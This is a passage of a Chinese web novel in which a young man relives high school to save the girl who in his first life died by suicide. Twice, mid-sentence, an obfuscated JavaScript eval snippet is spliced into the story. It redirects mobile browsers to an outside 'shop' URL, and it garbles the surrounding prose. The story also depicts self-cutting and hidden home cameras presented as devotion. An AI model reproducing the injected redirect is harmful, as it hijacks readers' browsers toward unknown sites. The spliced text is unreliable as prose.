杨武:“还跟我贫,你最近心思压根不在学习上,别以为我看不出来。” 宋枝年:“还好吧,不过我确实有更重要的事要做。” 杨武简直气坏了,“更重要的事。打架、逃课、谈恋爱是吧,宋枝年我现在是管不住你了。” “你就算真喜欢也理智点吧,要是何广距他父母再往校领导那多打几个电话,你的处分我都不知道拦不拦得住。” 宋枝年:“没事的老师,你不用理他们,有事情让他来直接找我。” 宋枝年:“老师,有很多事情你可能不理解我,但我真的有自己的原因,学习我不会放掉的,我还要跟她考同一所大学。” 杨武两眼一黑,“你怎么跟个小女生一样啊,喜欢上人就油盐不进了。” 宋枝年自己觉得他说得对,笑了一下,虽然老师并不算可以吐露心事的对象,但他凭着第一反应说:“因为不想再失去她了。” 99. 宋枝年推开办公室的门,姜可宁在门口站得笔直,眼眶很红,像是哭过。 宋枝年一时语塞,不知道她看见多少,有没有听见什么。 姜可宁抬眼看他,一双圆圆的杏仁眼湿漉漉的,睫毛上还有未干的水汽,怎么又惹她哭了。 在姜可宁生病的那段时间,她有些爱哭,但是不愿意让宋枝年看见,总是一个人躲起来偷偷流眼泪,她并不是擅长隐藏情绪的人,却总是在宋枝年出门之后才放心地哭,如果不是宋枝年在家里的卧室装了监控,他真的会以为每天姜可宁笑着送他出门是真心的。 姜可宁突然抬起手来碰他,他没有躲。 旁边的教室里好像掉落了一块黑板擦,砰的一声闷响,粉尘四散飞起,有一只麻雀停在树梢末端,微风拂过,树枝晃动起来,它犹豫几秒便飞走了。 宋枝年脸侧的伤口被她碰到,条件反射地眨了眨眼,有点刺痛,真够缺德的,伤哪不好伤脸。 “疼吗?”姜可宁带着一点点不仔细听发现不了的哭腔,但宋枝年很熟悉她的所有声音,所以很容易就听出来了。 “没什么感觉,你不提醒我我都不记得这有伤呢。”他说。 姜可宁一听,又撇了撇嘴,眉头也锁着,整张小脸都皱巴巴的了。 “你骗我,都流血了。”她像吐泡泡一样说话,一字一句的。 宋枝年看着她,想起后来的某一次,他在某个醉酒的夜晚,回家后发现姜可宁的手腕上有一条新的伤口,情绪崩溃地拿钥匙打开抽屉,拿了一把小刀在自己手臂上划了一刀,红色的血从破口处跑了出来,顺着肌肉线条往地毯上滴,然后宋枝年大声吼她:“你不是就想这样吗?以后你给自己一刀,我就给自己一刀。” 姜可宁吓坏了,手忙脚乱地找家里的纱布绷带,当时她的脸就是皱皱巴巴的。唉,真是的,后来她确实不拿尖锐的东西伤害自己了,她直接用自己最害怕的方式结束生命。 他反握住姜可宁的手,“刚刚听见什么了?” 姜可宁纠结地摇摇头,“没有。” 宋枝年哼了一声,“你也骗我了,扯平。” 100. 那天宋枝年又拉着姜可宁逃了剩下的半节课。 老师说的没错,他这样耽误两人的学习,但是没有办法,生命中重来一次的机会实在太过珍贵,弥补遗憾和追逐时间就成了最重要的东西。 姜可宁是“我喜欢你但与你无关”的那种人,所以上辈子她许多学生时期的心事跟当时的宋枝年在意的事情基本处在平行且永不相交的空间。比方说她也会凑热闹地浪费掉学习的时间去看宋枝年的每场篮球;比方说她会在没有人经过的时候擦去红榜上宋枝年名字旁的污渍;比方说她在连吃饭都要烦恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130189|147240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情况下花了一块钱去给宋枝年的奖状过了胶,只为能更长久地保存下来。 宋枝年曾问过她,“有没有什么以前没能实现的愿望。” 姜可宁歪着头认真思考,然后说:“太多了,说不完。” “那最遗憾的那个呢?”宋枝年问。 “最遗憾的……可能是高中的时候,跟你一张合照都没有吧。”她笑着说,“不过没关系了,现在有很多合照了。” 附中的年级红榜旁边就是照片墙,紧挨着是宣传栏,照片墙对所有学生开放,只要有想展示的照片都能自己往上面贴,起初,大部分还是一些校园里的风景照,也不知道从谁开始,照片的内容从风景变成了人,大家像找到一个新乐子一样往上面贴一些合照,有班级里小团体的,有篮球队足球队的,有好友师生之间的合照,也有一些借此机会暗戳戳秀恩爱的小情侣。 宋枝年没太关注这个,他也很少路过,但姜可宁说,照片墙上好几张照片里面都有他。 宋枝年牵着她的手走在她前面,到自己班里的时候偷偷遛进去,然后带出来一个在当时款式最新的拍立得相机。 脱离日常轨道的时间总是奇妙的,本该坐在课室里面大声背诵岳阳楼记,或是在演算纸上求二阶导的分分秒秒,宋枝年跟姜可宁两个人走小路到校门口。 “来,我现在想跟你拍合照。”宋枝年很突兀地说,就像明天地球毁灭,今天才紧急出了逃到外太空的方案。 “我跟你吗?” “对啊,我跟你,我们两个。” 宋枝年表现得也很着急,就像是这段时间以来,从那个失去姜可宁的时空回到十八岁之后,他都很着急,着急怎么让她能够更快地开心一点,着急怎么才能让她对这个世界多一点牵挂,着急要怎么做,才能让姜可宁在以后坚持不下去的时候,想到他就能够有活下去的能量。 101. 咔哒一声,黑色的宝丽来拍立得吐出一张还没有成好像的照片,姜可宁很谨慎似的把它取下来,又像拿着什么宝贝一样把胶片捂在手心。 过一会儿摊开,两人的脸出现在蓝调的白边相纸内,头顶上方是学校的烫金体招牌。一张基本没有准备的合照,宋枝年的脸侧甚至有一道伤痕,但姜可宁一直捏着,看得几乎入迷到移不开眼。 她低头不知道看了多久,像是想到什么,“这是我们第一张照片。” 宋枝年很想说,不是的,曾经我们有过很多张合照,就放在我们的家里,曾经我们一起走过很多地方,曾经我们有过很多未来,是你先不要我的。 “是啊。”宋枝年把她的一缕碎发撩到耳后,“姜可宁,你第一次注意到我,是什么时候?” 姜可宁就不说话了,脸颊慢慢变红。宋枝年笑了一下,“你知道吗,其实我很懂你。” “你擦完手的纸巾会折两折才扔掉,红笔喜欢买0.5的,黑笔是0.38的,还有,你不高兴的时候最喜欢发呆,开心的时候话比平时多,紧张的时候喜欢搅手指,你不喜欢在别人面前流眼泪,你有时会很想妈妈,你喜欢栀子花,因为你说过爸爸第一次给妈妈送的花就是栀子花。” 姜可宁沉默着,思绪好像飘到很远的地方,眼里却只有宋枝年。 “我还知道,如果我们现在没有合影,你以后会有些后悔,为什么高中时跟宋枝年没有一张合照。” “可是这个世界上是有后悔药的,姜可宁有什么后悔的事遗憾的事,宋枝年都会帮她办到,你什么都不用害怕不用担心,因为你要记得,宋枝年就是你的后悔药。” 姜可宁愣愣地听着,“那你的后悔药呢。” 宋枝年捏了捏她的手心,把刚刚拍的照片贴到照片墙上,“我的后悔药啊,就是可以现在就遇到你,还可以天天看见你。” 她或许永远都不会懂得,宋枝年花光了多少运气才得来这样的机会,许了多少个愿望才能重新见到她。 也许老天赐予他后悔的机会,本意是让宋枝年不必承受这样的痛苦,跟姜可宁彻彻底底当平行不相交的两条直线,但宋枝年是宋枝年,不管多少次,他都会找到姜可宁,然后坚定地告诉她,我爱你,我需要你。 102. 2014.12.09 今天林老师说,让我也找一张照片贴在照片墙上,可是我去看了,上面都是合照,我找不到人跟我合照。 宋枝年的人缘好好呀,上面好多张照片都有他,但是都不是他自己贴上去的,他人很好,有很多很多人喜欢他。 如果我也能很早就认识他,很早就跟他是朋友就好了。 2014.12.09 宋枝年说,这个世界上有后悔药。 30. 第三十章 103. 周末的时候,宋枝年回了一趟家,去拿让家里阿姨给姜可宁煲的汤。这段时间她营养跟上来,头痛确实没以前那么频繁了。 临走时姜可宁还在写卷子,但宋枝年观察到她已经很久没有动笔了,频繁地回头看他又不说话。 这种小动作在宋枝年面前总是会被放大的,在那段姜可宁每天窝在被子里却没办法睡一个好觉的日子里,她内心深处也是希望宋枝年能陪在她身边的,虽然她从来都不说。 宋枝年在家的时候,她怎么着都会吃下几口饭,睡前会听话地喝完半杯牛奶,睡不着的时候会环住宋枝年的腰到处蹭蹭。但是他不在家的时候,本就没有多少活力的姜可宁就会放纵自己堕落,睡不着就坐着一根一根地抽烟,直到麻木。 她骗人骗习惯了,烟头烟盒都会收拾得干干净净,多亏了宋枝年在家里越装越多的监控,才能知道她独自一人的时候都在怎么面对难缠的时间。 某天下午姜可宁自己在阳台上的躺椅睡着,宋枝年半天没在监控里看见她,心里越想越慌,就请了半天假开车回家,鞋都没换就跑到阳台。 姜可宁跟只小猫一样窝在躺椅上睡着了,手里还拿着本儿童插画。她那段时间特别迷这个,网购了很多。 她睡得很浅,听到动静就睁开眼睛了,宋枝年就装作什么都没发生地说:“我回来啦。” 姜可宁直了直腰,晃了晃脑袋,思考了一下说:“我没事啦,以后不在这睡了,在这睡你没办法在手机上看见我了。”她语气很慵懒,像是刚从被阳光晒透的干燥草地上醒来。 宋枝年僵了僵,没有想到她都发现了。有点愧疚地无所适从,他明白在家里装监控不是一件让人放松的事,但…… 姜可宁看他很久不说话,把绘本摊开放到他面前,指了指里面一只小浣熊说:“你好像这个哦。” 宋枝年扯了扯嘴角,“为什么。” 姜可宁就说:“在这里面,小浣熊是小刺猬最好的朋友。” 后来宋枝年翻阅过这本绘本,里面画的是,在雷暴雨天,受惊的小刺猬跑到山洞,但是有一颗大树被风吹倒了,横亘在山洞入口,小刺猬没办法进去躲雨,就在树下蜷成一团瑟瑟发抖待了很久,因为小刺猬特别胆小,没有别的小动物知道它的秘密基地,但是突然有了窸窣声,小浣熊从湿漉漉的草丛窜过来,它告诉小刺猬说:“不要怕哦,我找到你了。” 104. 姜可宁舍不得跟他分开又不好意思说,可能还在担心宋枝年是不是回自己家了就不回这个比起家更像自习室的屋子了。 宋枝年知道她的脾气,出门前亲了亲她的发顶,跟姜可宁说:“我等会儿就回来。” 姜可宁就慌乱地在试卷上填了一个C,宋枝年瞧了一眼,那是一道没有选项的填空题。 姜可宁的担心也许是对的,那天晚上她等到了十二点,宋枝年都还没有回家。 她不知道自己能不能给宋枝年打电话,万一他在跟爸爸妈妈聊天,万一他觉得姜可宁有点烦…… 宋枝年到家的时候阿姨还没煲好汤,他就在沙发上坐了一会儿,结果就睡过去了,他做了一个绵长的梦。 梦的开始是一节复兴号火车车厢,他带着行李,手上是新款的智能手机,刚加上微信的学长给他发了学校的地图,班群上正在起哄发照片,乘务员过来检查他的学生证,太阳有点大,他伸手拉了一下隔板,列车从夕阳驶入黑夜,宋枝年下了车,跟着导航进学校报道。 他开始按部就班地学习工作生活,结交了许多关系泛泛的朋友,认识了一些说话做事圆滑的人。之后顺利毕业,在父母的牵线下出国留学,跟着一位和蔼亲切的导师做研究。某天,他在高中同学群里看到一条消息,里面说有个女孩儿自杀了,是他们那一届的文科尖子生。 宋枝年感到一阵唏嘘,拿出手机问候了很久没联系的父母和朋友,突然感到心慌,眼睛一闭一睁,他被吸进一个深不见底的洞穴,再看到光的时候,他正站在附中的年级大榜前,旁边的照片墙上只剩下一张泛黄卷边的旧照,他很仔细看了一下,看到自己的脸,但是他并不认识站在自己旁边的女孩,照片上面落了一些灰,宋枝年用手碰了一下,阳光被摇曳的树影遮住,落下一片空白的暗影。风一吹,照片掉到了地上,滚着泥沙,又被吹到台阶,最后落到楼梯角。 宋枝年捡了起来,弹了弹上面的灰,胶片纸已经有些漏液,刚刚的照片中只剩下他一个人,旁边的女孩消失了,各方各面的。 就像照片墙上的最后一张照片也不见了,承载记忆的地方被运载至遥远的时空,什么都找不到了。 宋枝年一直认为,记忆才是一个人灵魂中最重要的东西,如果他从未参与姜可宁的人生,从来没有在她的轨道中留下痕迹,那会是什么样的,那他还是宋枝年吗? 105. 宋枝年醒来的时候冒了一身冷汗,灯已经关了,四周都是黑的,他站起来打开了吊灯开关,桌子上放着保温壶,是阿姨给姜可宁煲好的汤。 宋枝年点开手机,凌晨一点半了,宋枝月在桌子上留了一张字条,“睡得这么死叫都叫不醒,不管你了,我上楼了,你明天再回去吧。” 他到洗手间打开水龙头接了一捧水洗脸,冰凉的液体让他清醒一些。 宋枝年看了一眼镜子里的自己,十年后的他其实和十年前区别不是很大。姜可宁很喜欢玩他的脸,没事的时候就在他脸上摸来摸去,眉毛,眼睛,鼻子,嘴唇。 有一回她说:“宋枝年,你这里长了一条皱纹。” 宋枝年就说:“干什么,我都二三十岁了,长点皱纹怎么了。” “你以前都没有的。”她越说越小声。“你以前很少胃疼,也很少失眠。” 宋枝年那段时间因为工作比较忙加上要留意姜可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜可宁自己拢了拢身上的毛毯,“宋枝年应该不会骗我的。” “这么相信我啊?万一我真的骗你呢?你现在天天跟我待在一起,没有防范意识很危险的。”宋枝年说。 姜可宁犹豫了一下,然后盯着脚尖说:“你骗我也没关系。” “为什么,我记得你很讨厌别人骗你。” 姜可宁又重重地点头,“如果是你的话,那应该都没关系。” 宋枝年愣了愣,他的眼圈现在可能有点红。他拉了拉姜可宁的手,是热乎乎的,不像以前一样总是像块冰一样冷,拿暖宝宝捂着都捂不热。 “我刚刚做了一个梦。”姜可宁说。 “嗯,什么梦啊?”宋枝年也想告诉她,自己做了一个噩梦,一个让他想起来都会心痛但却很真实的梦。 “我梦见,我们去看海了,我在那里还看见了爸爸妈妈。”姜可宁说。“宋枝年,我们明天去看海吧,我有点想看看海了。” 宋枝年心里咯噔了一下,“好,我们去看海。”